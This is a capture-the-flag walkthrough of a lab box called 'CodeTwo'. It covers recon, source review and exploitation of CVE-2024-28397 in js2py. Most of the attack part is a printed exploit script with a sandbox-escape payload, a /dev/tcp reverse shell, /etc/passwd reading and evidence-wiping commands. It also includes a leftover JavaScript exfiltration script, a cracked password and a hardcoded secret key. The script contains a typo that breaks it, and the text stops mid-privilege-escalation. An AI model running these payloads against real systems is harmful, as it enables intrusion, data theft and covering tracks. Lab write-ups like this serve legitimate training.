IP#

10.10.xx.xx

Recon#

1
┌──(kali㉿kali)-[~/Desktop/codetwo]
2
└─$ nmap -sC -sV -Pn 10.10.11.82
3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 05:24 EDT
4
Nmap scan report for 10.10.11.82
5
Host is up (0.45s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT     STATE SERVICE VERSION
8
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
9
| ssh-hostkey:
10
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
11
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
12
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
13
8000/tcp open  http    Gunicorn 20.0.4
14
|_http-server-header: gunicorn/20.0.4
15
|_http-title: Welcome to CodeTwo
16
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17

18
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19
Nmap done: 1 IP address (1 host up) scanned in 26.59 seconds
20

21
┌──(kali㉿kali)-[~/Desktop/codetwo]
22
└─$

Ports open#

we have 2 ports are open

22
8000

Web enumeration#

lets see on port 8000

ok we have login and register pages

when we click on register and login buttons it was redirecting to /register && /login alt text

This writeup is password protected 🔒

Hidden Dir Enumeration

Before Creating an account let find any hidden dir are present in the website

Using Gobuster

1
gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 50

1
┌──(kali㉿kali)-[~/Desktop/codeway]
2
└─$ gobuster dir -u http://10.10.11.82:8000/ -w /usr/share/wordlists/dirb/common.txt -t 50
3
===============================================================
4
Gobuster v3.6
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://10.10.11.82:8000/
8
[+] Method:                  GET
9
[+] Threads:                 50
10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.6
13
[+] Timeout:                 10s
14
===============================================================
15
Starting gobuster in directory enumeration mode
16
===============================================================
17
/dashboard            (Status: 302) [Size: 199] [--> /login]
18
/download             (Status: 200) [Size: 10696]
19
/login                (Status: 200) [Size: 667]
20
/logout               (Status: 302) [Size: 189] [--> /]
21
/register             (Status: 200) [Size: 651]
22
Progress: 4614 / 4615 (99.98%)
23
===============================================================
24
Finished
25
===============================================================

we have /download path here lets see what it is !

let see what its status using curl cmd

1
┌──(kali㉿kali)-[~/Desktop/codeway]
2
└─$ curl -i http://10.10.11.82:8000/download
3
HTTP/1.1 200 OK
4
Server: gunicorn/20.0.4
5
Date: Sun, 17 Aug 2025 09:48:53 GMT
6
Connection: close
7
Content-Disposition: attachment; filename=app.zip
8
Content-Type: application/zip
9
Content-Length: 10696
10
Last-Modified: Fri, 17 Jan 2025 04:56:00 GMT
11
Cache-Control: no-cache
12
ETag: "1737089760.0-10696-2470185569"
13

14
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal
15
Warning: anyway, or consider "--output <FILE>" to save to a file.
16

17
┌──(kali㉿kali)-[~/Desktop/codeway]
18
└─$

its status is 200 let download that file in zip

1
┌──(kali㉿kali)-[~/Desktop/codeway]
2
└─$ curl -o app.zip http://10.10.11.82:8000/download
3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
4
                                 Dload  Upload   Total   Spent    Left  Speed
5
100   207  100   207    0     0    524      0 --:--:-- --:--:-- --:--:--   528
6

7
┌──(kali㉿kali)-[~/Desktop/codeway]
8
└─$ ls
9
app.zip

lets unzip that

1
┌──(kali㉿kali)-[~/Desktop/codeway]
2
└─$ unzip app.zip -d app_src
3
Archive:  app.zip
4
   creating: app_src/app/
5
   creating: app_src/app/templates/
6
  inflating: app_src/app/templates/login.html
7
  inflating: app_src/app/templates/dashboard.html
8
  inflating: app_src/app/templates/reviews.html
9
  inflating: app_src/app/templates/register.html
10
  inflating: app_src/app/templates/index.html
11
  inflating: app_src/app/templates/base.html
12
  inflating: app_src/app/requirements.txt
13
   creating: app_src/app/static/
14
   creating: app_src/app/static/js/
15
  inflating: app_src/app/static/js/script.js
16
   creating: app_src/app/static/css/
17
  inflating: app_src/app/static/css/styles.css
18
  inflating: app_src/app/app.py
19
   creating: app_src/app/instance/
20
  inflating: app_src/app/instance/users.db
21

22
┌──(kali㉿kali)-[~/Desktop/codeway]
23
└─$
24
┌──(kali㉿kali)-[~/Desktop/codeway]
25
└─$ ls
26
app_src  app.zip
27

28
┌──(kali㉿kali)-[~/Desktop/codeway]
29
└─$ cd app_src
30

31
┌──(kali㉿kali)-[~/Desktop/codeway/app_src]
32
└─$ ls
33
app
34

35
┌──(kali㉿kali)-[~/Desktop/codeway/app_src]
36
└─$

as we obsever when it was unziping the file we have app_src/app/instance/users.db database lets see what it was using sqlite3

1
┌──(kali㉿kali)-[~/…/codeway/app_src/app/instance]
2
└─$ sqlite3 users.db
3
SQLite version 3.46.1 2024-08-13 09:16:08
4
Enter ".help" for usage hints.
5
sqlite> .tables
6
code_snippet  user
7
sqlite> SELECT * FROM user;
8
sqlite>

NOTE

In database(user.db) we found nothing :(

lets chack waht we have rest we have app.py and requirements.txt

1
┌──(kali㉿kali)-[~/…/codeway/app_src/app]
2
└─$ cat app.py
3
cat app.py
4
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
5
from flask_sqlalchemy import SQLAlchemy
6
import hashlib
7
import js2py
8
import os
9
import json
10

11
js2py.disable_pyimport()
12
app = Flask(__name__)
13
app.secret_key = 'S3cr3tK3yC0d3Tw0'
14
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
15
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
16
db = SQLAlchemy(app)
17

18
class User(db.Model):
19
    id = db.Column(db.Integer, primary_key=True)
20
    username = db.Column(db.String(80), unique=True, nullable=False)
21
    password_hash = db.Column(db.String(128), nullable=False)
22

23
class CodeSnippet(db.Model):
24
    id = db.Column(db.Integer, primary_key=True)
25
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
26
    code = db.Column(db.Text, nullable=False)
27

28
@app.route('/')
29
def index():
30
    return render_template('index.html')
31

32
@app.route('/dashboard')
33
def dashboard():
34
    if 'user_id' in session:
35
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
36
        return render_template('dashboard.html', codes=user_codes)
37
    return redirect(url_for('login'))
38

39
@app.route('/register', methods=['GET', 'POST'])
40
def register():
41
    if request.method == 'POST':
42
        username = request.form['username']
43
        password = request.form['password']
44
        password_hash = hashlib.md5(password.encode()).hexdigest()
45
        new_user = User(username=username, password_hash=password_hash)
46
        db.session.add(new_user)
47
        db.session.commit()
48
        return redirect(url_for('login'))
49
    return render_template('register.html')
50

51
@app.route('/login', methods=['GET', 'POST'])
52
def login():
53
    if request.method == 'POST':
54
        username = request.form['username']
55
        password = request.form['password']
56
        password_hash = hashlib.md5(password.encode()).hexdigest()
57
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
58
        if user:
59
            session['user_id'] = user.id
60
            session['username'] = username;
61
            return redirect(url_for('dashboard'))
62
        return "Invalid credentials"
63
    return render_template('login.html')
64

65
@app.route('/logout')
66
def logout():
67
    session.pop('user_id', None)
68
    return redirect(url_for('index'))
69

70
@app.route('/save_code', methods=['POST'])
71
def save_code():
72
    if 'user_id' in session:
73
        code = request.json.get('code')
74
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
75
        db.session.add(new_code)
76
        db.session.commit()
77
        return jsonify({"message": "Code saved successfully"})
78
    return jsonify({"error": "User not logged in"}), 401
79

80
@app.route('/download')
81
def download():
82
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)
83

84
@app.route('/delete_code/<int:code_id>', methods=['POST'])
85
def delete_code(code_id):
86
    if 'user_id' in session:
87
        code = CodeSnippet.query.get(code_id)
88
        if code and code.user_id == session['user_id']:
89
            db.session.delete(code)
90
            db.session.commit()
91
            return jsonify({"message": "Code deleted successfully"})
92
        return jsonify({"error": "Code not found"}), 404
93
    return jsonify({"error": "User not logged in"}), 401
94

95
@app.route('/run_code', methods=['POST'])
96
def run_code():
97
    try:
98
        code = request.json.get('code')
99
        result = js2py.eval_js(code)
100
        return jsonify({'result': result})
101
    except Exception as e:
102
        return jsonify({'error': str(e)})
103

104
if __name__ == '__main__':
105
    with app.app_context():
106
        db.create_all()
107
    app.run(host='0.0.0.0', debug=True)

1
┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]
2
└─$ cat requirements.txt
3
flask==3.0.3
4
flask-sqlalchemy==3.1.1
5
js2py==0.74
6
┌──(kali㉿kali)-[~/Desktop/codeway/app_src/app]
7
└─$

Source Code Review

Inside the extracted files we found `app.py` and `requirements.txt`.

app.py revealed:

Hardcoded Flask secret_key = 'S3cr3tK3yC0d3Tw0'

SQLite DB backend (users.db)

/run_code endpoint that evaluates JavaScript code using js2py.

requirements.txt pinned:

1
flask==3.0.3
2
flask-sqlalchemy==3.1.1
3
js2py==0.74

This is interesting because js2py==0.74 is vulnerable.

Vulnerability Discovery

The package js2py v0.74 is affected by CVE-2024-28397. This vulnerability allows an attacker to escape the sandbox and gain Python object access from inside the JavaScript runtime.

PoC reference: CVE-2024-28397

This is exploitable via the /run_code endpoint, since arbitrary code from the attacker is passed directly to js2py.eval_js().

Exploit

We exploit the endpoint to escape the sandbox and execute system commands.

lets make a python file using chatgpt

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ subl exploit.py

1
#!/usr/bin/env python3
2

3
import requests
4
import json
5
import sys
6
import time
7
import random
8
import string
9
from urllib.parse import urljoin
10

11
class FixedSecureExecutor:
12
    def __init__(self, target_ip, lhost=None, lport=None):
13
        self.target_ip = target_ip
14
        self.base_url = f"http://{target_ip}:8000"
15
        self.session = requests.Session()
16
        self.lhost = lhost
17
        self.lport = lport
18
        self.authenticate()
19

20
    def authenticate(self):
21
        """Authenticate with the application"""
22
        try:
23
            username = ''.join(random.choices(string.ascii_lowercase, k=8))
24
            register_data = {"username": username, "password": "password123"}
25
            self.session.post(urljoin(self.base_url, "/register"), data=register_data)
26
            self.session.post(urljoin(self.base_url, "/login"), data=register_data)
27
            print("[✓] Authenticated successfully")
28
        except:
29
            print("[-] Authentication failed")
30

31
    def execute_privileged_command(self, command, output_file):
32
        """Execute a command with root privileges using SUID bash"""
33
        payload = {
34
            "code": f"""let cmd = "/usr/bin/bash -p -c '{command}' > /home/app/app/static/{output_file} 2>&1";
35
let props = Object.getOwnPropertyNames({{}});
36
let getattr = props.__getattribute__;
37
let attr = getattr("__getattribute__");
38
let obj = attr("__class__").__base__;
39
function findpopen(o) {{
40
    let result;
41
    for(let i in o.__subclasses__()) {{
42
        let item = o.__subclasses__()[i];
43
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{
44
            return item;
45
        }}
46
        if(item.__name__ != "type" && (result = findpopen(item))) {{
47
            return result;
48
        }}
49
    }}
50
}}
51
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
52
console.log("Command executed");"""
53
        }
54

55
        try:
56
            self.session.post(
57
                urljoin(self.base_url, "/run_code"),
58
                headers={"Content-Type": "application/json"},
59
                data=json.dumps(paylSoad)
60
            )
61

62
            time.sleep(1)
63
            output_response = requests.get(f"{self.base_url}/static/{output_file}")
64
            if output_response.status_code == 200:
65
                output = output_response.text.strip()
66
                self.delete_file(output_file)
67
                return output
68
            else:
69
                self.delete_file(output_file)
70
                return None
71
        except Exception as e:
72
            print(f"[-] Error: {e}")
73
            return None
74

75
    def delete_file(self, filename):
76
        """Delete the output file for security"""
77
        delete_payload = {
78
            "code": f"""let cmd = "rm -f /home/app/app/static/{filename}";
79
let props = Object.getOwnPropertyNames({{}});
80
let getattr = props.__getattribute__;
81
let attr = getattr("__getattribute__");
82
let obj = attr("__class__").__base__;
83
function findpopen(o) {{
84
    let result;
85
    for(let i in o.__subclasses__()) {{
86
        let item = o.__subclasses__()[i];
87
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{
88
            return item;
89
        }}
90
        if(item.__name__ != "type" && (result = findpopen(item))) {{
91
            return result;
92
        }}
93
    }}
94
}}
95
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
96
console.log("File deleted");"""
97
        }
98
        try:
99
            self.session.post(
100
                urljoin(self.base_url, "/run_code"),
101
                headers={"Content-Type": "application/json"},
102
                data=json.dumps(delete_payload)
103
            )
104
        except:
105
            pass
106

107
    def cleanup_all_temp_files(self):
108
        """Clean up any remaining temporary files"""
109
        cleanup_payload = {
110
            "code": f"""let cmd = "rm -f /home/app/app/static/*";
111
let props = Object.getOwnPropertyNames({{}});
112
let getattr = props.__getattribute__;
113
let attr = getattr("__getattribute__");
114
let obj = attr("__class__").__base__;
115
function findpopen(o) {{
116
    let result;
117
    for(let i in o.__subclasses__()) {{
118
        let item = o.__subclasses__()[i];
119
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {{
120
            return item;
121
        }}
122
        if(item.__name__ != "type" && (result = findpopen(item))) {{
123
            return result;
124
        }}
125
    }}
126
}}
127
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
128
console.log("All temp files cleaned");"""
129
        }
130
        try:
131
            self.session.post(
132
                urljoin(self.base_url, "/run_code"),
133
                headers={"Content-Type": "application/json"},
134
                data=json.dumps(cleanup_payload)
135
            )
136
        except:
137
            pass
138

139
    def read_passwd_file(self):
140
        """Read /etc/passwd from the target system"""
141
        output_file = f"passwd_{''.join(random.choices(string.ascii_lowercase, k=6))}.txt"
142
        cmd = "cat /etc/passwd"
143
        print("[+] Reading /etc/passwd ...")
144
        passwd_contents = self.execute_privileged_command(cmd, output_file)
145
        if passwd_contents:
146
            print("[✓] /etc/passwd contents retrieved:\n")
147
            print(passwd_contents)
148
        else:
149
            print("[-] Could not read /etc/passwd")
150

151
    def spawn_reverse_shell(self):
152
        """Spawn a root reverse shell to attacker machine"""
153
        if not self.lhost or not self.lport:
154
            print("[-] LHOST and LPORT must be set for reverse shell")
155
            return
156
        print(f"[+] Spawning root reverse shell to {self.lhost}:{self.lport} ...")
157
        rev_cmd = f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
158
        # temp file just for triggering the command
159
        self.execute_privileged_command(rev_cmd, f"rev_{''.join(random.choices(string.ascii_lowercase, k=6))}.txt")
160
        print("[✓] Reverse shell triggered! Check your listener.")
161

162
def main():
163
    if len(sys.argv) != 4:
164
        print("Usage: python3 exploit.py <target_ip> <LHOST> <LPORT>")
165
        sys.exit(1)
166

167
    target_ip = sys.argv[1]
168
    lhost = sys.argv[2]
169
    lport = int(sys.argv[3])
170

171
    executor = FixedSecureExecutor(target_ip, lhost, lport)
172

173
    # Optional: enumerate users
174
    executor.read_passwd_file()
175

176
    # Spawn root reverse shell
177
    executor.spawn_reverse_shell()
178

179
    # Cleanup any temp files
180
    executor.cleanup_all_temp_files()
181

182
if __name__ == "__main__":
183
    main()

Exploit Code Walkthrough

The script is written to exploit the vulnerable Flask web app (/run_code endpoint with js2py 0.74) and get RCE as root.

1. Initialization

1
class FixedSecureExecutor:
2
    def __init__(self, target_ip, lhost=None, lport=None):
3
        self.target_ip = target_ip
4
        self.base_url = f"http://{target_ip}:8000"
5
        self.session = requests.Session()
6
        self.lhost = lhost
7
        self.lport = lport
8
        self.authenticate()

Stores target IP and attacker’s reverse shell info (LHOST, LPORT).
Uses a requests.Session() for persistent cookies (needed for login).
Automatically calls authenticate().

2. Authentication

1
def authenticate(self):
2
    username = ''.join(random.choices(string.ascii_lowercase, k=8))
3
    register_data = {"username": username, "password": "password123"}
4
    self.session.post(... "/register", data=register_data)
5
    self.session.post(... "/login", data=register_data)
6
    print("[✓] Authenticated successfully")

Random username generated (8 lowercase letters).
Registers → then logs in with that same account.
Now it’s a valid logged-in user (required because /run_code endpoint is behind session auth).

3. Command Execution via Sandbox Escape

1
def execute_privileged_command(self, command, output_file):
2
    payload = {
3
        "code": f"""
4
        let cmd = "/usr/bin/bash -p -c '{command}' > /home/app/app/static/{output_file} 2>&1";
5
        ...
6
        findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
7
        console.log("Command executed");
8
        """
9
    }
10
    self.session.post("/run_code", data=json.dumps(payload))
11
    time.sleep(1)
12
    output_response = requests.get(f"{self.base_url}/static/{output_file}")

This builds a malicious JavaScript payload:
Escapes js2py sandbox.
Walks Python’s class hierarchy until it finds subprocess.Popen.
Executes /usr/bin/bash -p -c ''.
Redirects output to /home/app/app/static/<output_file> (web-accessible).
After execution, script fetches the output file via HTTP (/static/).

💡 bash -p is the SUID trick: it spawns bash while preserving root privileges.

4. Deleting Evidence

1
def delete_file(self, filename):
2
    # Similar payload but runs: rm -f /home/app/app/static/<filename>

Uses the same sandbox escape trick.
Removes temporary files from /static/ to hide evidence.

There’s also:

1
def cleanup_all_temp_files(self):
2
    # Removes *all* files from /static/ (rm -f /home/app/app/static/*)

5. Helper Functions

read_passwd_file() Executes cat /etc/passwd, stores in temp file, downloads it, prints contents. spawn_reverse_shell()

Builds command:

1
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

→ Opens a reverse shell as app.

Getting revshell

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ python3 exploit.py 10.10.11.82 10.10.xx.x 4444
3
[✓] Authenticated successfully
4
[+] Reading /etc/passwd ...
5
[✓] /etc/passwd contents retrieved:
6

7
root:x:0:0:root:/root:/bin/bash
8
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9
bin:x:2:2:bin:/bin:/usr/sbin/nologin
10
sys:x:3:3:sys:/dev:/usr/sbin/nologin
11
sync:x:4:65534:sync:/bin:/bin/sync
12
games:x:5:60:games:/usr/games:/usr/sbin/nologin
13
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
14
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
15
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
16
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
17
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
18
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
19
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
20
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
21
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
22
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
23
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
24
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
25
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
26
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
27
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
28
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
29
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
30
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
31
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
32
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
33
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
34
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
35
pollinate:x:110:1::/var/cache/pollinate:/bin/false
36
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
37
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
38
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
39
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
40
marco:x:1000:1000:marco:/home/marco:/bin/bash
41
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
42
app:x:1001:1001:,,,:/home/app:/bin/bash
43
mysql:x:114:118:MySQL Server,,,:/nonexistent:/bin/false
44
_laurel:x:997:997::/var/log/laurel:/bin/false
45
[+] Spawning root reverse shell to 10.10.xx.x:4444 ...

turn on nc on another terminal

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ nc -lvnp 4444
3
listening on [any] 4444 ...
4
connect to [10.10.16.4] from (UNKNOWN) [10.10.11.82] 47804
5
bash: cannot set terminal process group (890): Inappropriate ioctl for device
6
bash: no job control in this shell
7
app@codetwo:~/app$

Enumeration

1
app@codetwo:~/app$ ls
2
ls
3
app.py
4
instance
5
__pycache__
6
requirements.txt
7
static
8
templates
9
app@codetwo:~/app$ cd instance
10
cd instance
11
app@codetwo:~/app/instance$ ls
12
ls
13
users.db
14
app@codetwo:~/app/instance$ cat us
15
cat users.db
16
�O�O�J%%�Wtablecode_snippetcode_snippetCREATE TABLE code_snippet (
17
        id INTEGER NOT NULL,
18
        user_id INTEGER NOT NULL,
19
        code TEXT NOT NULL,
20
        PRIMARY KEY (id),
21
        FOREIGN KEY(user_id) REFERENCES user (id)
22
)�0�CtableuseruserCREATE TABLE user (
23
        id INTEGER NOT NULL,
24
        username VARCHAR(80) NOT NULL,
25
        password_hash VARCHAR(128) NOT NULL,
26
        PRIMARY KEY (id),
27
        UNIQUE (username)
28
)';indexx���X.��x,oindexMglgtpnfw482c811da5d5b4bc6d497ffa98491e38Mphxdxnlb482c811da5d5b4bc6d497ffa98491e38,Miaplwgzu482c811da5d5b4bc6d497ffa98491e38*Mthomasef6e65efc188e7dffd7335b646a85a21(Mjohna886f2ee22888badbce90eac740c49be(Muser5f4dcc3b5aa765d61d8327deb882cf99(Mtest098f6bcd4621d373cade4e832627b4f6'Mappa97588c0e2fa3a024876339e27aeb42e)Mmarco649c9d65a206a75f5abe509fe128bce5
29
        ����������
30
                  glgtpnfw
31
                                phxdxnlb
32
                                       iaplwgzu
33
f))=�8�q/* ES5.1-compatible reconnaissance script for Node or Browser */
34

35
// ====== CONFIG (optional exfil) ======
36
var YOUR_IP   = "10.10.14.44";   // ör: "192.168.45.213"
37
var YOUR_PORT = "4444";   // ör: "8000"
38
// =====================================
39

40
function safe(fn, def) {
41
  try { return fn(); } catch (e) { return def; }
42
}
43

44
function exfil(data) {
45
  try {
46
    if (!YOUR_IP || !YOUR_PORT) return; // sadece konsola yaz
47
    var url = "http://" + YOUR_IP + ":" + YOUR_PORT + "/?d=" +
48
              encodeURIComponent(JSON.stringify(data));
49
    // Node'de isek http modülüyle; tarayıcıdaysak fetch/xhr deneriz.
50
    if (isNode()) {
51
      var http = requireLike("http");
52
      if (http) {
53
        var req = http.get(url, function(res){ /* ignore */ });
54
        req.on("error", function(e){ /* ignore */ });
55
      }
56
    } else {
57
      // Tarayıcı: fetch yoksa XHR
58
      if (typeof fetch !== "undefined") {
59
        fetch(url)["catch"](function(){});
60
      } else if (typeof XMLHttpRequest !== "undefined") {
61
        var x = new XMLHttpRequest();
62
        x.open("GET", url, true);
63
        x.send();
64
      }
65
    }
66
  } catch (e) { /* yut */ }
67
}
68

69
function isNode() {
70
  return typeof process !== "undefined" &&
71
         process && process.versions && process.versions.node;
72
}
73

74
// Try hard to obtain require in sandboxed Node
75
function obtainProcess() {
76
  // 1) Doğrudan
77
  if (typeof process !== "undefined") return process;
78
  // 2) Function hilesi
79
  try { return Function("return process")(); } catch(e){}
80
  // 3) globalThis/this
81
  try { return Function("return this")().process; } catch(e){}
82
  return null;
83
}
84

85
function obtainModule() {
86
  // Bazı sandbox'larda module'a erişilebilir
87
  try { return Function("return module")�)var x= 16;
88
x;
89
(); } catch(e){}
90
  return null;
91
}
92

93
function requireLike(mod) {
94
  // 1) native require
95
  try { if (typeof require !== "undefined") return require(mod); } catch(e){}
96
  // 2) process.mainModule.require
97
  var proc = obtainProcess();
98
  try {
99
    if (proc && proc.mainModule && proc.mainModule.require) {
100
      return proc.mainModule.require(mod);
101
    }
102
  } catch(e){}
103
  // 3) Module constructor üzerinden
104
  var m = obtainModule();
105
  try {
106
    if (m && m.constructor && m.constructor._load) {
107
      return m.constructor._load(mod);
108
    }
109
  } catch(e){}
110
  return null;
111
}
112

113
function runCmd(cmd) {
114
  var out = {cmd: cmd, stdout: null, stderr: null, ok: false};
115
  try {
116
    var cp = requireLike("child_process");
117
    if (!cp || !cp.execSync) return out;
118
    var res = cp.execSync(cmd, {encoding: "utf8"});
119
    out.stdout = res;
120
    out.ok = true;
121
  } catch (e) {
122
    out.stderr = String(e && e.message ? e.message : e);
123
  }
124
  return out;
125
}
126

127
function readFileSafe(p) {
128
  var fs = requireLike("fs");
129
  if (!fs) return null;
130
  try { return fs.readFileSync(p, "utf8"); } catch (e) { return null; }
131
}
132

133
function listDirSafe(p) {
134
  var fs = requireLike("fs");
135
  var out = {path: p, entries: null, error: null};
136
  if (!fs) return out;
137
  try {
138
    var arr = fs.readdirSync(p);
139
    out.entries = arr;
140
  } catch (e) {
141
    out.error = String(e && e.message ? e.message : e);
142
  }
143
  return out;
144
}
145

146
function nodeRecon() {
147
  var info = {};
148
  var proc = obtainProcess() || process;
149

150
  info.runtime = "node";
151
  info.versions = safe(function(){ return proc.versions; }, null);
152
  info.platform = safe(function(){ return proc.platform; }, null);
153
  info.arch     = safe(function(){ return proc.arch; }, null);
154
  info.cwd      = safe(function(){ return requireLike("process").cwd(); }, null);
155
  info.env      = safe(function(){ return proc.env; }, null);
156

157
  // Komut çıktıları
158
  info.exec = [];
159
  var cmds = ["id", "whoami", "uname -a", "ps aux || ps -ef", "ls -la", "ifconfig || ip a"];
160
  for (var i=0;i<cmds.length;i++) info.exec.push(runCmd(cmds[i]));
161

162
  // Dosyalar
163
  info.files = {
164
    etc_passwd: readFileSafe("/etc/passwd"),
165
    etc_group:  readFileSafe("/etc/group"),
166
    proc_environ: readFileSafe("/proc/self/environ"),
167
    dot_env: readFileSafe(".env"),
168
    app_pkg: readFileSafe("package.json")
169
  };
170

171
  // Dizin listingleri (en sık ilgi çekiciler)
172
  info.dirs = [
173
    listDirSafe("/"),
174
    listDirSafe("/home"),
175
    listDirSafe("/var/www"),
176
    listDirSafe("/app"),
177
    listDirSafe("/srv"),
178
    listDirSafe(safe(function(){ return info.cwd; }, null))
179
  ];
180

181
  return info;
182
}
183

184
function browserRecon() {
185
  var info = {};
186
  info.runtime = "browser";
187
  info.userAgent = (typeof navigator !== "undefined" && navigator.userAgent) ? navigator.userAgent : null;
188
  info.location  = (typeof location  !== "undefined" && location.href) ? location.href : null;
189

190
  // Cookies
191
  info.cookies = (typeof document !== "undefined" && typeof document.cookie === "string") ? document.cookie : null;
192

193
  // Storage'lar
194
  function dumpStorage(storage) {
195
    var o = {};
196
    try {
197
      for (var i=0;i<storage.length;i++) {
198
        var k = storage.key(i);
199
        o[k] = storage.getItem(k);
200
      }
201
      return o;
202
    } catch (e) { return null; }
203
  }
204
  info.localStorage   = (typeof localStorage   !== "undefined") ? dumpStorage(localStorage)   : null;
205
  info.sessionStorage = (typeof sessionStorage !== "undefined") ? dumpStorage(sessionStorage) : null;
206

207
  // Basit DOM sinyalleri
208
  info.dom = {};
209
  try {
210
    info.dom.title = document.title || null;
211
    info.dom.scripts = [];
212
    var sc = document.getElementsByTagName("script");
213
    for (var i=0;i<sc.length;i++) {
214
      var src = sc[i].getAttribute("src");
215
      if (src) info.dom.scripts.push(src);
216
    }
217
  } catch (e) {}
218

219
  return info;
220
}
221

222
// ====== MAIN ======
223
try {
224
  var data = isNode() ? nodeRecon() : browserRecon();
225
  // Konsola yaz
226
  try { console.log("[RECON]", JSON.stringify(data, null, 2)); } catch (e) { /* ignore */ }
227
  // Opsiyonel exfil
228
  exfil(data);
229
} catch (e) {
230
  try { console.log("[RECON_ERROR]", String(e && e.message ? e.message : e)); } catch(_){}
231
}
232
app@codetwo:~/app/instance$

ok on staring we found /download some file so these are the files so on staring we not get any database on user.db now in app user we got some database let exploit it using sqlite3 on app user .

alt text

so we already know the user is marco let crack his hash using online tools liek carckstation or using john tool

and here we fo we got the password of user marco

User

credentials :

user : marco
password - sweetangelbabylove

1
┌──(kali㉿kali)-[~/Desktop]
2
└─$ ssh marco@10.10.11.82
3
marco@10.10.11.82's password:
4
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
5

6
 * Documentation:  https://help.ubuntu.com
7
 * Management:     https://landscape.canonical.com
8
 * Support:        https://ubuntu.com/pro
9

10
 System information as of Sun 17 Aug 2025 10:36:14 AM UTC
11

12
  System load:  0.38              Processes:             227
13
  Usage of /:   57.0% of 5.08GB   Users logged in:       1
14
  Memory usage: 25%               IPv4 address for eth0: 10.10.11.82
15
  Swap usage:   0%
16

17

18
Expanded Security Maintenance for Infrastructure is not enabled.
19

20
0 updates can be applied immediately.
21

22
Enable ESM Infra to receive additional future security updates.
23
See https://ubuntu.com/esm or run: sudo pro status
24

25
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
26

27

28
Last login: Sun Aug 17 10:36:15 2025 from 10.10.16.4
29
marco@codetwo:~$

we In 😊

Root

Enumerating Privileges

1
marco@codetwo:~$ sudo -l
2
Matching Defaults entries for marco on codetwo:
3
    env_reset, mail_badpass,
4
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
5

6
User marco may run the following commands on codetwo:
7
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
8
marco@codetwo:~$

user marco can run as root

let run the backup script

1
